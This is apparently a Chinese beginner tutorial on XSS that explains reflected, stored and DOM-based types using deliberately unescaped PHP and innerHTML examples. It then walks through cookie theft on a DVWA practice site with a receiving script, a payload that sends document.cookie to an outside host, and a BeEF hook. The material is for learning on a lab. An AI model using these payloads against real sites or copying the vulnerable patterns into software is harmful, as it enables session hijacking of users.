前言

XSS漏洞

Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS漏洞是一种在WEB应用中常见的安全漏洞,它孕育用户将恶意代码植入web页面,当其他用户访问此页面时,植入的恶意代码就会在其他用户的客户端中执行。

XSS漏洞的危害很多,可以通过XSS漏洞获取客户端信息(cookie),可以通过XSS蠕虫进行信息传播,可以再客户端中植入木马,可以结合其他漏洞攻击服务器,在服务器中植入木马

我们可以参考这张图的攻击场景,用户男发给用户女一段含有XSS攻击的代码,此时用户女触发后用户女的cookie数据传递给了用户男,此时用户男就可以利用这段cookie登陆用户女的账户。

XSS漏洞分类

 xss漏洞分为三种分别为:反射型、存储型、DOM型

1.反射型

利用反射型XSS漏洞植入的恶意代码不会存储在服务器端,一般容易出现在搜索页面,需要构造植入恶意代码的web页面,诱骗受害者访问该页面,才能触发攻击。

测试代码:

<?php
if (isset($_GET['name'])) {
$name=$_GET['name'];
echo "<h1> Hello ".$name."<h1>";
}else{
exit();
}
?>

这段代码是接受用户get传进来的参数赋值给$name变量 打印到页面中 我们看到这段代码没有任何过滤 所以此时我们传入<script>alert("xiaohua")</script>

Payload: http://127.0.0.1/test.php?name=<script>alert("xiaohua")</script>

此时XSS漏洞触发 利用方法在最后面部分!

2.存储型

利用存储型XSS的恶意代码在服务器中,一般植入留言板、个人信息、文章发表等功能的页面中。如果页面对用户输入的数据过滤不严格,恶意用户将恶意代码存储到服务器中。这种类型的XSS漏洞危害非常严重,因为恶意代码会存储到服务器中,客户端每次访问服务器都会触发恶意代码

3.DOM型

DOM型XSS漏洞是基于文档对象模型(Document Object Model)的一种XSS漏洞

DOM参考这里: https://www.w3school.com.cn/htmldom/index.asp

示例代码:

<script type="text/javascript">
function domxss(){
var str=document.getElementById("input").value;
document.getElementById("output").innerHTML=str;
}
</script>
<h2 id="output"></h2>
<input type="text" id="input" value="">
<input type="button" value="submit" onclick="domxss()">

代码中domxss函数,此函数通过DOM将input节点的值作为变量赋予output节点

当输入xiaohua时,通过domxss函数会将output节点赋值为xiaohua

如果输入<img src=1 onerror=alert(/xiaohua2020/) />时通过domxss函数会将output节点赋值为<img src=1 onerror=alert(/xiaohua2020/) />页面会由于执行错误而出发弹窗

无法加载该图片,所以触发onerror函数。src属性可以填任意错误的路径。

XSS漏洞利用

1.例1-本地搭建页面盗取cookie

本地服务器创建cookie.php页面 输入此内容用于接收cookie传过来的值 存入cookie.txt折个文件

  <?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

打开榆林学院信息安全协会搭建的DVWA平台 选择XSS(Refilected) 反射型XSS页面在输入框输入<script>alert("xiaohua")</script>回车看到弹窗说明存在XSS漏洞

榆林学院信息安全协会DWVA平台平带地址:http://101.201.65.164/DVWA/

我们利用本地搭建的盗取cookie的页面进行构造:<script>document.location="http://127.0.0.1/lou/cookie.php?cookie="+document.cookie</script>  输入进去回车

查看本地获取cookie页面的根目录cookie.txt文件打开可以看到成功获取到了cookie

 例2-利用BeEF盗取cookie

BeEF安装目录:/usr/share/beff-xss

默认管理页面:页面:http://127.0.0.1:3000/ui/panel  默认用户名密码都是beef

利用脚本<script src="http://127.0.0.1:3000/hook.js"></script>

反射型例子

填入访问即可获得coolie到beef客户端

DWVA是外网的架构在我们榆林学院信息安全协会训练平台的服务器上大家可以访问进行练习:

http://101.201.65.164/DVWA/login.php

成功盗取

推荐资料

资料:

XSS漏洞实例

链接:https://pan.baidu.com/s/1NcPQapMMjehMQSXrF3qH_g
提取码:hpoh

书:

《web前端黑客技术揭秘》

《XSS跨站脚本攻击剖析与防御》

[前端web安全]XSS漏洞基础入门的更多相关文章

  1. Web安全之Web 安全介绍与基础入门知识

    web安全介绍与基础入门知识 安全与安全圈 甲方与乙方 甲方:如腾讯,阿里等需要安全服务的公司 乙方:提供安全服务产品的服务型安全公司 web与二进制 web,研究web安全 二进制,研究如客户端安全 ...

  2. XSS漏洞基础

    什么是XSS? XSS全程Cross-site scripting,跨站脚本攻击.恶意攻击者往Web页面里插入html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用 ...

  3. Linux系统WEB服务之Nginx基础入门

    一.Nginxi简介 Nginx是什么?它是一个开源.高性能的WEB服务器软件和代理服务器软件,由俄罗斯人Igor Sysoev 开发实现.它的功能主要分三类,第一是它作为一个WEB服务软件使用:第二 ...

  4. 阶段5 3.微服务项目【学成在线】_day02 CMS前端开发_03-vuejs研究-vuejs基础-入门程序

    本次测试我们在门户目录中创建一个html页面进行测试,正式的页面管理前端程序会单独创建工程. 在门户目录中创建vuetest目录,并且在目录下创建vue_01.html文件 <!DOCTYPE ...

  5. WEB应用之httpd基础入门(二)

    前文我们聊了下httpd的一些基础设置,聊了下httpd的配置文件格式,长连接.mpm的配置以及访问控制基于文件路径和URL管控,回顾请参考https://www.cnblogs.com/qiuhom ...

  6. WEB应用之httpd基础入门(四)

    前文我们聊到了httpd的虚拟主机实现,状态页的实现,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12570900.html:今天我们来聊一聊后面的常用基础配 ...

  7. WEB应用之httpd基础入门(一)

    前文我们聊了下http协议web服务的一些常识和httpd服务器软件三种响应模型的简单介绍,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12515075.ht ...

  8. WEB应用之httpd基础入门(五)

    前文我们聊到了httpd的启动用户和相关权限的说明,资源压缩配置.https的实现,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12593675.html:今 ...

  9. WEB应用之httpd基础入门(三)

    前文我们聊到了httpd的路径别名.访问日志定义.basic认证配置,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/12561236.html:今天我们来聊一聊 ...

随机推荐

  1. 面经分享:看非科班研究生如何转行斩获 ATM 大厂的 Offer ?

    前言 先介绍一下自己的情况吧,本科和研究生都是通信专业,本科是某 Top2,研究生是香港某大学.了解了通信行业的就业情况和工作内容后,大概今年3月份的时候开始想转互联网. 本人相关的基础情况是:学校学 ...

  2. 【应用服务 App Service】如何移除App Service Response Header中包含的服务器敏感信息

    问题描述 有些情况下,当应用部署到App Service上后,在有些Response Header中,可以看见关于服务器的一些信息,这样会导致隐藏的安全问题,所以可以在web.config中移除某些关 ...

  3. 边界层吞吸技术(BLI)

    气流在机体表面前进时,由于受到摩擦,其速度会不断降低,从而会产生湍流甚至气流分离,而流动分离又会造成大量紊流.涡,使升力大量损失,同时也会造成阻力急剧增加.边界层吞吸技术就是一种对附面层气流" ...

  4. 使用浏览器抓取QQ音乐接口(排行榜篇)

    前言 最近手头比较空闲,再加上看到其他人的博客都差不多有个类似的播放控件,手就会闲不下来,说干就干,所以我们开始吧! 来到QQ音乐的官网,我们就直奔着目标去,寻找排行榜 我们主要用的是最近比较热的歌, ...

  5. Docker 也是本地开发的一神器:部署单机版 Pulsar 和集群架构 Redis

    原文链接:Docker 也是本地开发的一神器:部署单机版 Pulsar 和集群架构 Redis 一.前言: 现在互联网的技术架构中,不断出现各种各样的中间件,例如 MQ.Redis.Zookeeper ...

  6. requests请求获取cookies的字典格式

    python中requests请求的cookies值一般是jar包,如何将cookies值改为字典,此处运用了方法.举例如下: import  requests response = requests ...

  7. sqlsugar入门(2)-C#方法与sugar自定义函数的区别

    1.使用tostring获取当天数据 var list = ssc.Queryable<Student>().Where(o => o.CreateTime.Value.ToStri ...

  8. 关于windows下activeMQ的安装

    1.下载地址http://activemq.apache.org/activemq-5154-release.html 2.修改登录账号和密码,在配置文件jetty-realm.properties中 ...

  9. 我的第三次C语言作业

    我的第三次C语言作业 这个作业属于哪个课程 https://edu.cnblogs.com/campus/zswxy/SE2020-2 这个作业要求在哪里 https://edu.cnblogs.co ...

  10. Hadoop调优 | NameNode主备宕机引发的思考

    大家都知道在双十一这些电商大型营销活动期间,电商网站的访问量等是平时的N倍.每当这个时候到来,无论是开发还是运维人员都严阵以待生怕服务出现问题.很不幸,笔者的一个朋友在一家电商公司上班,在双十一时,恰 ...